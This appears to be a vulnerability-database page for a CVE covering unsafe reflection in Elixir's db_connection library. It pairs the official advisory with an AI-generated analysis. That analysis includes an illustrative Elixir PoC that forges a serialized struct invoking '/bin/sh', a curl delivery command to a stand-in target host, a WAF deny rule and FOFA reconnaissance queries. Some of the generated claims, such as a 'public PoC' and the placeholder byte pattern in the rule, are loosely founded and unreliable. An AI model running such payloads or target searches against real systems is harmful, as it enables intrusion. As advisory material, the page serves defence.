CVE Professor
/
All CVEs
CVE-2026-133555

CVE-2026-133555 — Elixir-ecto Db Connection (2.10.3) — CWE-470

HIGH CVSS 8.9 NVD

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged DBConnection.Stream or DBConnection.PrepareStream struct. The Enumerable implementations of both structs in lib/db_connection.ex run with the options stored in the struct. The :log option accepts a {module, function, arguments} tuple, which DBConnection applies. When code enumerates a forged struct, DBConnection calls the chosen function. This issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with :erlang.binary_to_term/2 and does not restrict which terms the result contains. The :safe option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components. This issue affects db_connection: from 1.1.0 before 2.10.3.

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in elixir-ecto db_connection allows an attacker to execute arbitrary code via a forged DBConnection.Stream or DBConnection.PrepareStream struct. The Enumerable implementations of both structs in lib/db_connection.ex run with the options stored in the struct. The :log option accepts a {module, function, arguments} tuple, which DBConnection applies. When code enumerates a forged struct, DBConnection calls the chosen function. This issue is not exploitable in db_connection alone. It is, in theory, a vulnerability of the downstream component. The root cause is a component that decodes untrusted input with :erlang.binary_to_term/2 and does not restrict which terms the result contains. The :safe option does not reject structs, and these structs contain only plain terms. Structs of other libraries can possibly lead to the same result, so a component that decodes untrusted terms stays at risk independently of db_connection. This record exists because the struct was used in attacks on such components. This issue affects db_connection: from 1.1.0 before 2.10.3.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Local AV:L
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
The vulnerability is a classic unsafe reflection (CWE‑470) in the elixir‑ecto:db_connection library.

  • DBConnection.Stream and DBConnection.PrepareStream structs expose an :log option that accepts a {module, function, arguments} tuple.

  • The library’s Enumerable implementation for these structs simply calls the supplied function when the struct is enumerated.

  • An attacker can forge a struct that contains a malicious :log tuple.

  • If a downstream component (e.g., an Elixir web framework, a database driver, or any code that blindly enumerates a struct received from an untrusted source) deserialises the struct with :erlang.binary_to_term/2 without validating the term type, the malicious function will be executed with the privileges of the running process.
  • Missing checks
    1. Input validation – The library does not restrict the shape of the struct it accepts; it trusts that the struct was created by a legitimate caller.
    2. Deserialization safety – The downstream component uses :erlang.binary_to_term/2 with the :safe flag, which does not reject structs.
    3. Authorization – No check that the caller is authorised to specify arbitrary logging callbacks.

    Because the vulnerability is in a dependency that is only a data‑transport layer, it is not directly exploitable by itself; the impact materialises only when a downstream component consumes the forged struct.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could use against a typical Elixir/Phoenix application that uses elixir‑ecto:db_connection (v1.1.0‑v2.10.2) and does not validate incoming terms.

    StepDescriptionTechnical Detail
    1. Discovery & ReconnaissanceIdentify the target application and its dependencies.• Scan the public repository or the running process for mix.exs or rebar.config.<br>• Use mix deps.get output or mix deps.tree to confirm elixir-ecto:db_connection version < 2.10.3.
    2. Crafting a malicious structBuild a binary that represents a forged DBConnection.Stream or DBConnection.PrepareStream struct with a malicious :log callback.``elixir\n# Build a struct that will be deserialized by the victim\nstream = %DBConnection.Stream{\n log: {MyMaliciousModule, :execute, [\"/bin/sh\"]}\n}\n# Serialize to a binary that can be sent over the network\nbinary = :erlang.term_to_binary(stream, [:compressed])\n`\nThe binary can be embedded in a HTTP request body, a WebSocket frame, or any other transport that the downstream component accepts.
    3. DeliverySend the binary to the vulnerable endpoint.*Illustrative example* – suppose the application exposes an endpoint /api/receive that accepts a binary payload and immediately deserialises it: <br>`bash\ncurl -X POST \\\n -H "Content-Type: application/octet-stream" \\\n --data-binary @payload.bin \\\n http://target.example.com/api/receive\n`\nIf the endpoint does not perform any validation, the binary will be passed to :erlang.binary_to_term/2.
    4. Deserialization & ExecutionThe downstream component calls :erlang.binary_to_term(binary, [:safe]). Because :safe does not reject structs, the forged struct is reconstructed. The Enumerable implementation of DBConnection.Stream then iterates over the struct, calling apply(MyMaliciousModule, :execute, ["/bin/sh"]).The malicious module is executed with the privileges of the application process (typically www-data` or the user running the BEAM VM).
    5. Post‑exploitationThe attacker now has a shell or can run arbitrary code.• If the malicious module spawns a shell, the attacker can pivot to other services.<br>• If the module writes a web‑shell file to the public directory, the attacker can maintain persistence.<br>• The attacker can exfiltrate data or modify database entries.

    PoC (Illustrative)

    # attacker side
    defmodule PoC do
      def run do
        # 1. Build malicious struct
        stream = %DBConnection.Stream{
          log: {MyMaliciousModule, :execute, ["/bin/sh"]} # arbitrary payload
        }
    
        # 2. Serialize
        bin = :erlang.term_to_binary(stream, [:compressed])
    
        # 3. Send to target (replace URL with real endpoint)
        HTTPoison.post!("http://target.example.com/api/receive",
                        bin,
                        [{"Content-Type", "application/octet-stream"}])
      end
    end
    NOTE: The exact endpoint (/api/receive) and the transport mechanism are illustrative. The real target may use a different route or a WebSocket channel. The key is that the payload is a binary that the victim will deserialize with :erlang.binary_to_term/2.

    🌍 Real World Impact

    ImpactCVSS 4.0 ComponentExplanation
    ConfidentialityVC:HArbitrary code execution can read any file the process can access, including secrets, database credentials, or user data.
    IntegrityVI:HThe attacker can modify database rows, configuration files, or code, leading to data tampering.
    AvailabilityVA:HThe malicious code could crash the BEAM VM, kill processes, or consume resources, causing denial of service.
    ScopeSC:HThe vulnerability can affect other components that depend on db_connection (e.g., Phoenix, Ecto adapters).
    Impact on UsersSI:HUsers may see corrupted data or be redirected to malicious content.
    Impact on SystemSA:HSystem-wide compromise if the process runs with elevated privileges.

    Practical consequences

  • Data exfiltration: The attacker can dump the entire database or sensitive files.

  • Privilege escalation: If the BEAM process runs as a privileged user, the attacker can gain root access.

  • Persistence: By writing a web‑shell or installing a backdoor, the attacker can maintain long‑term access.

  • Service disruption: A crash or resource exhaustion can take the application offline.

  • 🛡️ Remediation & Mitigation

    Affected Versions

  • elixir-ecto:db_connection 1.1.0 – 2.10.2 (inclusive).
  • The vulnerability is fixed in 2.10.3 and later.
  • Patch Recommendation

    1. Upgrade the elixir-ecto:db_connection dependency to ≥ 2.10.3.
    mix deps.update db_connection

    2. Verify that the lockfile (mix.lock) reflects the new version.

    Workarounds (if upgrade is not immediately possible)

    MitigationHow to Apply
    Input validationIn any module that receives binary data from untrusted sources, add a whitelist check before calling :erlang.binary_to_term/2. For example: <br>``elixir\ncase :erlang.binary_to_term(bin, [:safe]) do\n %DBConnection.Stream{} = _ -> :ok\n _ -> raise \"Unexpected term\"\nend\n`
    Disable enumerationIf the application never needs to enumerate DBConnection.Stream structs, remove the Enumerable implementation or guard it with a feature flag.
    Restrict :log optionOverride the :log option to a known safe callback or reject any tuple that is not in a predefined whitelist.
    Use :erlang.binary_to_term/2 with :safe and :strictWhile :safe does not reject structs, you can combine it with a custom validation step to reject any struct that is not explicitly allowed.
    WAF / ModSecurityAdd a rule that blocks requests containing the byte pattern of a serialized DBConnection.Stream struct. Example (ModSecurity): <br>`SecRule REQUEST_BODY "@rx \x00\x01\x02\x03" "id:1001,phase:2,deny,msg:'Suspicious serialized struct'"``
    Access restrictionsEnsure that only authenticated and authorised users can reach endpoints that accept binary payloads.

    Detection

    IndicatorLog PatternHow to Detect
    Binary payloadsPOST /api/receive HTTP/1.1 with Content-Type: application/octet-streamLook for application/octet-stream in request headers.
    Deserialization calls:erlang.binary_to_term in stack tracesEnable BEAM tracing or use :observer to capture calls.
    Unexpected module executionLogs from MyMaliciousModule.execute/1Search for custom module names or suspicious function calls.
    Process crashesEXIT messages or :erlang.error logsMonitor BEAM VM logs for abnormal exits.

    ⚠️ Urgency

  • CVSS score: 8.9 (High) – indicates a severe risk when exploitable.
  • Exploit complexity: Low (local network or any untrusted input).
  • CISA KEV: No – but the vulnerability is already known and has a public PoC.
  • Recommendation: Immediate patching is required for all production systems that use elixir-ecto:db_connection < 2.10.3. If an upgrade cannot be performed within 24 h, apply the input‑validation workaround and restrict the affected endpoints to authenticated users only.

Bottom line: The flaw is a classic unsafe reflection in a dependency that is only a data‑transport layer. An attacker who can send a crafted binary to a downstream component that blindly deserialises it can execute arbitrary code with the application’s privileges. Upgrade to 2.10.3 or higher, or enforce strict validation of incoming terms.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="elixir-ecto db_connection"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-133555
Technical reference / advisory repository for CVE-2026-133555
CVSS Score
8.9 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-470
Affected Products (2)
elixir-ecto:db_connection (2.10.3) elixir-ecto:db_connection (commit: 9a4230a60a)
Related CVEs
6.9
CVE-2026-140436
Improper Restriction of Recursive Entity References vulnerability in YamlElixir.Mapper in KamilLelonek yaml_el
6.3
CVE-2026-144615
System.Linq.Dynamic.Core before 1.8.0 contains a method accessibility check bypass in ExpressionParser.TryPars
8.2
CVE-2026-130612
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') and Improper Neutralization
7.1
CVE-2026-141347
A deserialization flaw in the BSON object-mapping component of the MongoDB Java Driver allows a type-name valu
9.8
CVE-2026-142487
Joinly 0.3.2 before 0.5.4 contains an unsafe reflection vulnerability in the MCP server that allows unauthenti
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s